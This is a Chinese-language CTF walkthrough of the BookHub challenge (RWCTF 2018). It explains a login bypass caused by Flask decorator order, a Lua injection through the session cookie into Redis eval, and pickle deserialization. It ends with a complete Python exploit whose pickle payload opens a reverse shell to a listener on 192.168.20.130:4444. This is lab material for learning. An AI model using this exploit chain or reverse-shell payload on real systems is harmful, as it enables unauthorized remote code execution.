BookHub (RWCTF 2018) 通关

一、靶场地址

靶机位于,BUUCTF的web类中bookhub题目(目前已经迁移到新网址)。BookHub 是一个 Flask 应用,涉及的漏洞包括装饰器顺序错误、Lua 脚本注入、pickle序列化问题等。

2026年在做这道老题目时候,觉得难度有点大,参考了其他作者写的笔记,但和这个靶场已经对对应不上了。

二、扫描探测

靶机开启,我们进行目录扫描,发现有源码泄露,在根目录下有个www.zip的文件,结合网站提示(运行在debug模式),下载下来后进行源码分析。扫描发现并没有开启其他端口,也没有ip限制等之前笔记中所提到的措施。

三、问题分析

进入user.py文件,我们发现了多个url网站路径,其中有一条有问题:

复制代码
if app.debug:
    @user_blueprint.route('/admin/system/')
    @login_required
    def system(): ...

    @user_blueprint.route('/admin/system/change_name/', methods=['POST'])
    @login_required
    def change_name(): ...

    @login_required                                      # ← 注意:在 route 上面
    @user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
    def refresh_session(): ...

很显然,这里的/admin/system/refresh_session/存在问题,python装饰器顺序错误,导致login_required被绕过,在没登录的情况下,可以进入def refresh_session()

  1. refresh_session()存在Lua 脚本注入

进入 `refresh_session` 函数体后,核心逻辑:

复制代码
sessionid = flask.session.sid                 # 来自 cookie
prefix = app.config['SESSION_KEY_PREFIX']     # "bookhub:session:"

if flask.request.form.get('submit', None) == '1':
    rds.eval(rf'''
    local function has_value (tab, val) ... end

    local inputs = {{ "{prefix}{sessionid}" }}            -- 注入点
    local sessions = redis.call("keys", "{prefix}*")

    for index, sid in ipairs(sessions) do
        if not has_value(inputs, sid) then
            redis.call("del", sid)
        end
    end
    ''', 0)

`sessionid` 直接由 f-string 插值进 Lua 字符串字面量,没有任何转义。而 `flask.session.sid` = cookie 里 `bookhub-session` 的值,因此 cookie 可控引起 Lua 可控,从而具备远程代码执行的可能。

cookie 值原封不动成为 sid,我们通过修改cookie值,使得目标 Lua 片段(替换后)成为:

Lua 复制代码
local inputs = { "bookhub:session:<SID>" }
  1. `\"` 闭合字符串与 table:`local inputs = { "bookhub:session:" }`
  2. 注入 urlDecode 函数:把 `%xx` 还原成字节(因为 pickle 是二进制,不能直接放 Lua 字符串,需先 URL 编码再解码)
  3. `redis.call("set","bookhub:session:qaq",urlDecode("<URL编码的pickle>"))` ------ 写木马 key
  4. `inputs = { "bookhub:session:qaq" }` ------ 重定义 inputs,让下面的 del 循环跳过 qaq(保护木马)
  5. `--` 注释掉原句尾巴 `*" }`,避免语法错

完整的sid为:

Lua 复制代码
sid = ('\\" } local function urlDecode(s) '
       's=string.gsub(s,\'%%(%x%x)\',function(h) '
       'return string.char(tonumber(h, 16)) end) return s end ') + \
      ('redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) '
       'inputs = { \\"bookhub:session:qaq\\" } --') % payload

Flask 在每个请求开始时自动调 `open_session`。只要带 `bookhub-session=qaq` 访问任意路由,就会 `redis.get("bookhub:session:qaq")` 取到 写入的木马 %s,再 `pickle.loads` 序列化执行。

四、pickle opcode 与 reduce

`reduce` 返回 `(callable, args)`,pickle 序列化时存成 `c <module> <callable>` + 参数 + `R`(REDUCE) 指令;反序列化时执行 `callable(*args)` 还原对象。

Lua 复制代码
class exp(object):
    def __reduce__(self):
        code = ("import socket,subprocess,os\n"
                "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
                "s.connect((\"192.168.20.130\",4444))\n"
                "os.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\n"
                "subprocess.call([\"/bin/sh\",\"-i\"])\n")
        return (exec, (code,))

把这个类进行序列化,生成载荷payload:

Lua 复制代码
payload = urlencode(pickle.dumps([exp()], protocol=2))  

注意,这里要制定protocol=2,因为本机 Python 3.12 `pickle.dumps` 默认用 **protocol 5**,而靶机容器内是较旧 Python(≤3.7,最高支持 protocol 4)。`pickle.loads` 遇到 protocol 5 抛 `ValueError: unsupported pickle protocol`,被 `open_session` 的 `except` 吞掉,返回空 session,表面无任何异常。

五、最终exp

python 复制代码
# -*- coding: utf-8 -*-
# 用法: nc -lvnp 4444  然后  python exp.py 192.168.20.130 4444
import re, sys, pickle, requests as req
from urllib.parse import quote as urlencode

URL = "http://192.168.20.128:10008/"
LISTEN_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.20.130"
LISTEN_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 4444


class exp(object):
    def __reduce__(self):
        code = (
            "import socket,subprocess,os\n"
            "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
            "s.connect((\"{ip}\",{port}))\n"
            "os.dup2(s.fileno(),0)\n"
            "os.dup2(s.fileno(),1)\n"
            "os.dup2(s.fileno(),2)\n"
            "subprocess.call([\"/bin/sh\",\"-i\"])\n"
        ).format(ip=LISTEN_IP, port=LISTEN_PORT)
        return (exec, (code,))


def main():
    # protocol=2 兼容靶机旧版 Python(默认 protocol 5 会被静默 except 吞掉)
    payload = urlencode(pickle.dumps([exp()], protocol=2))

    # Lua 注入 sid:闭合字符串 -> urlDecode -> redis.set 木马 key -> 重定义 inputs 防 del
    sid = ('\\" } local function urlDecode(s) '
           's=string.gsub(s,\'%%(%x%x)\',function(h) '
           'return string.char(tonumber(h, 16)) end) return s end ') + \
        ('redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) '
         'inputs = { \\"bookhub:session:qaq\\" } --') % payload

    headers = {"Content-Type": "application/x-www-form-urlencoded",
               "Cookie": 'bookhub-session="%s"' % sid}

    # 1) 取 CSRF(顺便让 flask_session 把恶意 sid 落盘,无副作用)
    res = req.get(URL + "login/", headers=headers, timeout=10)
    r = re.findall(r'csrf_token" type="hidden" value="(.*?)">',
                   res.content.decode("utf-8", errors="replace"))
    headers["X-CSRFToken"] = r[0]

    # 2) refresh_session:装饰器绕过 + Lua 注入写木马 key
    res = req.post(URL + "admin/system/refresh_session/",
                   data={"submit": "1"}, headers=headers, timeout=10)
    assert '"success"' in res.text, res.text

    # 3) 带 qa=qaq 访问任意路由 -> open_session -> pickle.loads -> exec -> 反弹shell
    #    这一步请求会超时(subprocess.call 阻塞 worker),属正常
    try:
        req.get(URL + "login/", headers={"Cookie": "bookhub-session=qaq"}, timeout=3)
    except Exception:
        pass


if __name__ == "__main__":
    main()
相关推荐
techdashen3 天前
Uber 如何完成超大规模 JUnit 迁移:从 JUnit 4 到 JUnit 5 的自动化工程实践
junit·sqlserver·自动化
会周易的程序员5 天前
使用 LuaBridge 封装 C++ 日志库 microLog 为 Lua 模块
c++·物联网·junit·lua·日志·iot·aiot
欢呼的太阳6 天前
在上一篇随笔中介绍了四种编程语言。这次再介绍四种编程语言:Fortran、Lua、Lisp 和 Logo。
junit·lua·lisp
Full Stack Developme6 天前
SpringBoot JUnit 教程
数据库·spring boot·spring·junit
殳翰7 天前
spring对junit的支持
spring·junit·sqlserver
许彰午25 天前
39_Java单元测试JUnit入门
java·junit·单元测试
骇客之技术25 天前
AutoLua:在安卓上写 Lua 脚本
android·junit·lua
闪电悠米25 天前
黑马点评-Redis ZSet-实现关注 Feed 流
服务器·网络·数据库·redis·缓存·junit·lua
小小龙学IT1 个月前
C++20 协程深度解析:从原理到高性能异步框架实战
junit·c++20